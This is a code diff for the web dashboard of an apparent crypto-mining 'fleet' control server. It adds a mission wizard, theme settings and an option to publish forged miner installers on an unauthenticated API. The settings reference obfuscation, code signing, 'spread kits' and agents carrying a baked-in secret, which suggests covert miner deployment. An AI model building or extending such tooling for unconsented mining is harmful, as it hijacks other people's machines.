|
||||
|
||||
pointer-events: none;
|
||||
|
||||
background: repeating-linear-gradient(
|
||||
|
||||
0deg,
|
||||
|
||||
transparent,
|
||||
|
||||
transparent 3px,
|
||||
|
||||
rgba(0, 0, 0, 0.06) 3px,
|
||||
|
||||
rgba(0, 0, 0, 0.06) 4px
|
||||
|
||||
);
|
||||
|
||||
107
server/web/src/pages/MissionDeckPage.test.tsx
Normal file
107
server/web/src/pages/MissionDeckPage.test.tsx
Normal file
@@ -0,0 +1,107 @@
|
||||
/**
|
||||
|
||||
* @vitest-environment happy-dom
|
||||
|
||||
*/
|
||||
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
|
||||
import userEvent from '@testing-library/user-event';
|
||||
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
|
||||
import MissionDeckPage from './MissionDeckPage';
|
||||
|
||||
import { ForgeProvider } from '../context/ForgeContext';
|
||||
|
||||
import { routerFuture } from '../routerFuture';
|
||||
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
|
||||
import { api } from '../api/client';
|
||||
|
||||
|
||||
|
||||
vi.mock('../context/PresenceContext', () => ({
|
||||
|
||||
usePresence: () => ({
|
||||
|
||||
othersOnPage: [],
|
||||
|
||||
comrades: [],
|
||||
|
||||
comradesHere: () => [],
|
||||
|
||||
othersOnline: false,
|
||||
|
||||
}),
|
||||
|
||||
}));
|
||||
|
||||
|
||||
|
||||
function renderMissionDeck() {
|
||||
|
||||
return render(
|
||||
|
||||
<MemoryRouter initialEntries={['/mission-deck']} future={routerFuture}>
|
||||
|
||||
<ForgeProvider>
|
||||
|
||||
<MissionDeckPage />
|
||||
|
||||
</ForgeProvider>
|
||||
|
||||
</MemoryRouter>,
|
||||
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
describe('MissionDeckPage', () => {
|
||||
|
||||
beforeEach(() => {
|
||||
|
||||
vi.clearAllMocks();
|
||||
|
||||
localStorage.clear();
|
||||
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
|
||||
|
||||
vi.spyOn(api, 'buildAgent').mockResolvedValue({
|
||||
|
||||
success: true,
|
||||
|
||||
build_id: 'deck-build-1',
|
||||
|
||||
file_name: 'worker-deck.exe',
|
||||
|
||||
file_size: 4096,
|
||||
|
||||
download_url: '/api/v1/builds/deck-build-1/download',
|
||||
|
||||
});
|
||||
|
||||
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
|
||||
|
||||
vi.stubGlobal('navigator', {
|
||||
|
||||
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
|
||||
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
afterEach(() => {
|
||||
|
||||
vi.unstubAllGlobals();
|
||||
1222
server/web/src/pages/MissionDeckPage.tsx
Normal file
1222
server/web/src/pages/MissionDeckPage.tsx
Normal file
File diff suppressed because it is too large
Load Diff
@@ -1756,6 +1756,237 @@ button.deliverable-card .form-hint {
|
||||
color: #f5a623 !important;
|
||||
}
|
||||
|
||||
/* Forge mission ritual wizard (simple mode) */
|
||||
.forge-mission-wizard {
|
||||
margin-bottom: 1rem;
|
||||
padding: 1rem 1.25rem;
|
||||
border: 1px solid rgba(61, 214, 198, 0.35);
|
||||
background: rgba(61, 214, 198, 0.06);
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pills {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.4rem;
|
||||
margin: 0.75rem 0 1rem;
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pill {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.4rem;
|
||||
padding: 0.3rem 0.75rem;
|
||||
border-radius: 999px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.14);
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.78rem;
|
||||
font-family: var(--font-tech, monospace);
|
||||
cursor: pointer;
|
||||
transition: border-color 0.2s, box-shadow 0.2s, color 0.2s, background 0.2s;
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pill:hover:not(:disabled) {
|
||||
border-color: rgba(61, 214, 198, 0.55);
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
box-shadow: 0 0 14px rgba(61, 214, 198, 0.22);
|
||||
background: rgba(61, 214, 198, 0.08);
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pill.done {
|
||||
border-color: rgba(74, 222, 128, 0.45);
|
||||
color: var(--neon-green, #6f6);
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pill.active {
|
||||
border-color: rgba(61, 214, 198, 0.65);
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
box-shadow: 0 0 16px rgba(61, 214, 198, 0.28);
|
||||
background: rgba(61, 214, 198, 0.1);
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pill:disabled {
|
||||
opacity: 0.55;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pill-num {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 1.15rem;
|
||||
height: 1.15rem;
|
||||
border-radius: 50%;
|
||||
font-size: 0.68rem;
|
||||
background: rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.forge-mission-wizard-panel {
|
||||
min-height: 4.5rem;
|
||||
}
|
||||
|
||||
.forge-mission-wizard-nav {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
margin-top: 0.85rem;
|
||||
}
|
||||
|
||||
.forge-mission-chip-grid {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.forge-mission-op-chip {
|
||||
min-width: 6.5rem;
|
||||
padding: 0.55rem 0.85rem;
|
||||
border-radius: 10px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.14);
|
||||
background: rgba(0, 0, 0, 0.3);
|
||||
color: var(--text-secondary);
|
||||
font-family: var(--font-tech, monospace);
|
||||
font-size: 0.82rem;
|
||||
cursor: pointer;
|
||||
text-align: left;
|
||||
transition: border-color 0.2s, box-shadow 0.2s, color 0.2s, background 0.2s;
|
||||
}
|
||||
|
||||
.forge-mission-op-chip:hover:not(:disabled) {
|
||||
box-shadow: 0 0 18px rgba(61, 214, 198, 0.18);
|
||||
}
|
||||
|
||||
.forge-mission-op-chip.active {
|
||||
background: rgba(0, 0, 0, 0.45);
|
||||
}
|
||||
|
||||
.forge-mission-op-chip strong {
|
||||
display: block;
|
||||
margin-bottom: 0.15rem;
|
||||
}
|
||||
|
||||
.forge-mission-op-chip span {
|
||||
display: block;
|
||||
font-size: 0.7rem;
|
||||
opacity: 0.75;
|
||||
line-height: 1.3;
|
||||
}
|
||||
|
||||
.forge-mission-banner {
|
||||
margin-bottom: 1rem;
|
||||
padding: 1rem 1.25rem;
|
||||
border: 1px solid rgba(61, 214, 198, 0.35);
|
||||
background: rgba(61, 214, 198, 0.06);
|
||||
}
|
||||
|
||||
.forge-mission-banner .font-tech {
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.forge-mission-steps {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem 0.5rem;
|
||||
margin: 0.75rem 0;
|
||||
font-size: 0.78rem;
|
||||
font-family: var(--font-tech, monospace);
|
||||
}
|
||||
|
||||
.forge-mission-step {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
padding: 0.2rem 0.55rem;
|
||||
border-radius: 999px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.forge-mission-step.done {
|
||||
border-color: rgba(74, 222, 128, 0.45);
|
||||
color: var(--neon-green, #6f6);
|
||||
}
|
||||
|
||||
.forge-mission-step.active {
|
||||
border-color: rgba(61, 214, 198, 0.55);
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
box-shadow: 0 0 12px rgba(61, 214, 198, 0.2);
|
||||
}
|
||||
|
||||
.forge-mission-step:hover {
|
||||
box-shadow: 0 0 10px rgba(61, 214, 198, 0.15);
|
||||
}
|
||||
|
||||
.forge-mission-step.skipped {
|
||||
border-color: rgba(255, 255, 255, 0.08);
|
||||
color: #666;
|
||||
text-decoration: line-through;
|
||||
}
|
||||
|
||||
.forge-mission-step.error {
|
||||
border-color: rgba(248, 113, 113, 0.55);
|
||||
color: var(--neon-red, #f55);
|
||||
}
|
||||
|
||||
.forge-mission-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: flex-end;
|
||||
margin-top: 0.75rem;
|
||||
}
|
||||
|
||||
.forge-mission-modal-backdrop {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(0, 0, 0, 0.75);
|
||||
backdrop-filter: blur(4px);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 2000;
|
||||
padding: 1rem;
|
||||
}
|
||||
|
||||
.forge-mission-modal {
|
||||
background: #0e1117;
|
||||
border: 1px solid rgba(61, 214, 198, 0.35);
|
||||
border-radius: 14px;
|
||||
box-shadow: 0 0 60px rgba(61, 214, 198, 0.15);
|
||||
padding: 1.5rem;
|
||||
max-width: 640px;
|
||||
width: 100%;
|
||||
max-height: 90vh;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
.forge-mission-modal h3 {
|
||||
margin: 0 0 0.5rem;
|
||||
font-family: var(--font-tech, monospace);
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
}
|
||||
|
||||
.forge-mission-link-block {
|
||||
margin-bottom: 0.85rem;
|
||||
}
|
||||
|
||||
.forge-mission-link-block p {
|
||||
margin: 0 0 0.25rem;
|
||||
font-size: 0.75rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.forge-mission-link-block code {
|
||||
display: block;
|
||||
font-size: 0.72rem;
|
||||
word-break: break-all;
|
||||
padding: 0.5rem 0.65rem;
|
||||
background: rgba(0, 0, 0, 0.45);
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
border-radius: 6px;
|
||||
}
|
||||
|
||||
@media (max-width: 700px) {
|
||||
.rvn-gauges {
|
||||
grid-template-columns: repeat(2, 1fr);
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { useCallback, useEffect, useRef, useState } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, PathTraceHop } from '../types';
|
||||
import './PathTracerPage.css';
|
||||
@@ -35,6 +36,7 @@ function QRModal({
|
||||
onClose: () => void;
|
||||
onEnd: () => void;
|
||||
}) {
|
||||
useModalAmbientDuck(true);
|
||||
const [copied, setCopied] = useState(false);
|
||||
|
||||
const handleCopy = () => {
|
||||
@@ -203,7 +205,7 @@ export default function PathTracerPage() {
|
||||
const allHopsReady = hops.length > 0 && hops.every((h) => h.status === 'ready');
|
||||
|
||||
return (
|
||||
<div className="pathtrace-page">
|
||||
<div className="pathtrace-page operator-deck-page">
|
||||
{/* Header */}
|
||||
<div className="pt-header">
|
||||
<div>
|
||||
|
||||
@@ -146,6 +146,24 @@ describe('SettingsPage (Calibrate)', () => {
|
||||
expect(await screen.findByText('User "operator" added successfully!')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('edits Emberwake public builds settings', async () => {
|
||||
const user = userEvent.setup();
|
||||
renderSettings();
|
||||
const latestInput = await screen.findByLabelText(/latest n on login drawer/i);
|
||||
expect((latestInput as HTMLInputElement).value).toBe('3');
|
||||
const enableCheckbox = screen.getByRole('checkbox', { name: /expose all builds on public api/i });
|
||||
expect((enableCheckbox as HTMLInputElement).checked).toBe(false);
|
||||
await user.click(enableCheckbox);
|
||||
expect((enableCheckbox as HTMLInputElement).checked).toBe(true);
|
||||
await user.click(screen.getByRole('button', { name: /save calibration/i }));
|
||||
await waitFor(() => {
|
||||
expect(api.updateConfig).toHaveBeenCalled();
|
||||
});
|
||||
const saved = vi.mocked(api.updateConfig).mock.calls.at(-1)?.[0];
|
||||
expect(saved?.server?.public_builds_enabled).toBe(true);
|
||||
expect(saved?.server?.public_builds_latest_n).toBe(3);
|
||||
});
|
||||
|
||||
it('describes first-run admin credentials in Access Control help', async () => {
|
||||
renderSettings();
|
||||
expect(
|
||||
|
||||
@@ -17,11 +17,19 @@ import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||||
import type { BackupPool } from '../types';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
|
||||
import FleetRuntimePanel from '../components/Fleet/FleetRuntimePanel';
|
||||
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
|
||||
import { useSound } from '../context/SoundContext';
|
||||
import { useAmbientMusic } from '../context/AmbientMusicContext';
|
||||
import { AMBIENT_MUSIC_SRC } from '../audio/ambientMusic';
|
||||
import { useVisualEffects } from '../context/VisualEffectsContext';
|
||||
import {
|
||||
FORGE_SKIN_IDS,
|
||||
loadStoredForgeTheme,
|
||||
storeForgeTheme,
|
||||
type ForgeSkinId,
|
||||
type ForgeThemeOverride,
|
||||
} from '../help/forgeOperationModes';
|
||||
import './Pages.css';
|
||||
|
||||
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
|
||||
@@ -62,6 +70,7 @@ export default function SettingsPage() {
|
||||
} = useSound();
|
||||
const { enabled: bgmEnabled, volume: bgmVolume, setEnabled: setBgmEnabled, setVolume: setBgmVolume } = useAmbientMusic();
|
||||
const { glowParticles, setGlowParticles } = useVisualEffects();
|
||||
const [forgeTheme, setForgeTheme] = useState<ForgeThemeOverride>(loadStoredForgeTheme);
|
||||
const [config, setConfig] = useState<ServerConfig | null>(null);
|
||||
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
@@ -121,6 +130,8 @@ export default function SettingsPage() {
|
||||
strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false,
|
||||
dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion',
|
||||
open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true,
|
||||
public_builds_enabled: cfg.server?.public_builds_enabled ?? false,
|
||||
public_builds_latest_n: cfg.server?.public_builds_latest_n ?? 3,
|
||||
},
|
||||
});
|
||||
setServerInfo(info);
|
||||
@@ -301,7 +312,7 @@ export default function SettingsPage() {
|
||||
|
||||
if (loading) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className="page fade-in command-deck operator-deck-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">SERVER ONLY</p>
|
||||
@@ -315,7 +326,7 @@ export default function SettingsPage() {
|
||||
|
||||
if (!config) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className="page fade-in command-deck operator-deck-page">
|
||||
<NeonCard accent="brass"><p>Failed to load server configuration.</p></NeonCard>
|
||||
</div>
|
||||
);
|
||||
@@ -340,10 +351,12 @@ export default function SettingsPage() {
|
||||
sign_cert_thumbprint: '',
|
||||
sign_tool_path: '',
|
||||
sign_timestamp_url: 'http://timestamp.digicert.com',
|
||||
public_builds_enabled: false,
|
||||
public_builds_latest_n: 3,
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className="page fade-in command-deck operator-deck-page">
|
||||
<input type="file" ref={fileInputRef} style={{ display: 'none' }} accept=".json" onChange={handleFileSelected} />
|
||||
|
||||
<header className="deck-hero">
|
||||
@@ -379,7 +392,7 @@ export default function SettingsPage() {
|
||||
)}
|
||||
|
||||
{serverInfo && (
|
||||
<NeonCard accent="cyan" className="calibrate-banner" hud>
|
||||
<NeonCard accent="cyan" className="calibrate-banner operator-deck-card operator-interactive" hud>
|
||||
<p className="font-tech">DETECTED LAN ENDPOINTS</p>
|
||||
<p><strong>Suggested:</strong> <code className="mono-sm">{serverInfo.suggested_url}</code></p>
|
||||
{serverInfo.local_ips?.length > 0 && (
|
||||
@@ -426,7 +439,7 @@ export default function SettingsPage() {
|
||||
)}
|
||||
|
||||
<div className="settings-grid">
|
||||
<NeonCard accent="cyan" className="settings-section">
|
||||
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Deck Atmosphere</h2>
|
||||
<p className="section-desc">
|
||||
Background glow particles and sparkles sit behind the UI (pointer-events off). Turn off on
|
||||
@@ -443,9 +456,43 @@ export default function SettingsPage() {
|
||||
<span>Glow particles & sparkles</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginTop: '1.25rem' }}>
|
||||
<label htmlFor="cfg-forge-theme" className="label">
|
||||
Forge theme
|
||||
</label>
|
||||
<p className="section-desc" style={{ marginBottom: '0.5rem' }}>
|
||||
Seasonal forge chrome on The Forge page. Auto follows the selected operation mode preset;
|
||||
pick a skin to override.
|
||||
</p>
|
||||
<select
|
||||
id="cfg-forge-theme"
|
||||
className="select"
|
||||
value={forgeTheme}
|
||||
onChange={(e) => {
|
||||
const next = e.target.value as ForgeThemeOverride;
|
||||
setForgeTheme(next);
|
||||
storeForgeTheme(next);
|
||||
}}
|
||||
>
|
||||
<option value="auto">Auto (follow operation mode)</option>
|
||||
{FORGE_SKIN_IDS.map((id: ForgeSkinId) => (
|
||||
<option key={id} value={id}>
|
||||
{id === 'aether'
|
||||
? 'Default Aether'
|
||||
: id === 'halloween'
|
||||
? 'Halloween'
|
||||
: id === 'ghost'
|
||||
? 'Ghost Walk'
|
||||
: id === 'wildfire'
|
||||
? 'Wildfire'
|
||||
: 'Crucible Storm'}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="green" className="settings-section">
|
||||
<NeonCard accent="green" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Sound & Haptics</h2>
|
||||
<p className="section-desc">
|
||||
Short UI bleeps and vibration on supported phones/tablets. Browsers require a click anywhere
|
||||
@@ -582,7 +629,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Control Server</h2>
|
||||
<p className="section-desc">How this dashboard and API are hosted on your network.</p>
|
||||
<div className="form-row">
|
||||
@@ -647,7 +694,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="cyan" className="settings-section">
|
||||
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Upstream Pool</h2>
|
||||
<p className="section-desc">The control server connects here and relays work to your fleet. Pick presets or add your own — unreachable pools are skipped automatically.</p>
|
||||
<PoolPresetPicker
|
||||
@@ -684,7 +731,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="purple" className="settings-section">
|
||||
<NeonCard accent="purple" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Fleet Payout Wallet</h2>
|
||||
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
|
||||
<div className="form-group">
|
||||
@@ -708,7 +755,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Ravencoin (GPU) Pool</h2>
|
||||
<p className="section-desc">
|
||||
Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.
|
||||
@@ -770,7 +817,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Fleet Alerts</h2>
|
||||
<p className="section-desc">Dashboard thresholds for agent health.</p>
|
||||
<div className="form-group">
|
||||
@@ -792,7 +839,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Alert Notifications</h2>
|
||||
<p className="section-desc">
|
||||
Telegram, optional webhook, and email for fleet events (operator pub/sub — MITRE T1071.005 lite).
|
||||
@@ -931,7 +978,42 @@ export default function SettingsPage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Emberwake / Public Builds</h2>
|
||||
<p className="section-desc">
|
||||
Control which forged installers appear on the login-page public builds drawer and unauthenticated{' '}
|
||||
<code className="mono-sm">/api/v1/public/builds</code> API. Mark individual builds public in Builds, or
|
||||
enable all-builds mode below.
|
||||
</p>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={s.public_builds_enabled ?? false}
|
||||
onChange={(e) => updateField('server.public_builds_enabled', e.target.checked)}
|
||||
/>
|
||||
<span>Expose all builds on public API (no login)</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-public-latest-n" className="label">Latest N on login drawer</label>
|
||||
<input
|
||||
id="cfg-public-latest-n"
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={50}
|
||||
value={s.public_builds_latest_n ?? 3}
|
||||
onChange={(e) => updateField('server.public_builds_latest_n', parseInt(e.target.value, 10) || 3)}
|
||||
/>
|
||||
<span className="form-hint">
|
||||
When all-builds mode is off, login drawer lists pinned + explicitly public builds + this many recent forges.
|
||||
</span>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Forge Pipeline</h2>
|
||||
<p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
|
||||
<div className="form-group checkbox-group">
|
||||
@@ -972,7 +1054,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="green" className="settings-section">
|
||||
<NeonCard accent="green" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Data & Limits</h2>
|
||||
<p className="section-desc">Retention and capacity for this host.</p>
|
||||
<div className="form-row">
|
||||
@@ -1006,7 +1088,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Server Logging</h2>
|
||||
<p className="section-desc">What this control server writes to its log.</p>
|
||||
<div className="form-group checkbox-group">
|
||||
@@ -1032,7 +1114,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="magenta" className="settings-section">
|
||||
<NeonCard accent="magenta" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Access Control</h2>
|
||||
<p className="section-desc">
|
||||
API routes require login. On first server start, credentials are printed once in the server console (<code>admin</code> + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
|
||||
@@ -1078,7 +1160,9 @@ export default function SettingsPage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<FleetRuntimePanel />
|
||||
|
||||
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Fleet Security</h2>
|
||||
<p className="section-desc">
|
||||
A <strong>Fleet Secret</strong> is auto-generated on first server start and baked into every forged agent.
|
||||
|
||||
Reference in New Issue
Block a user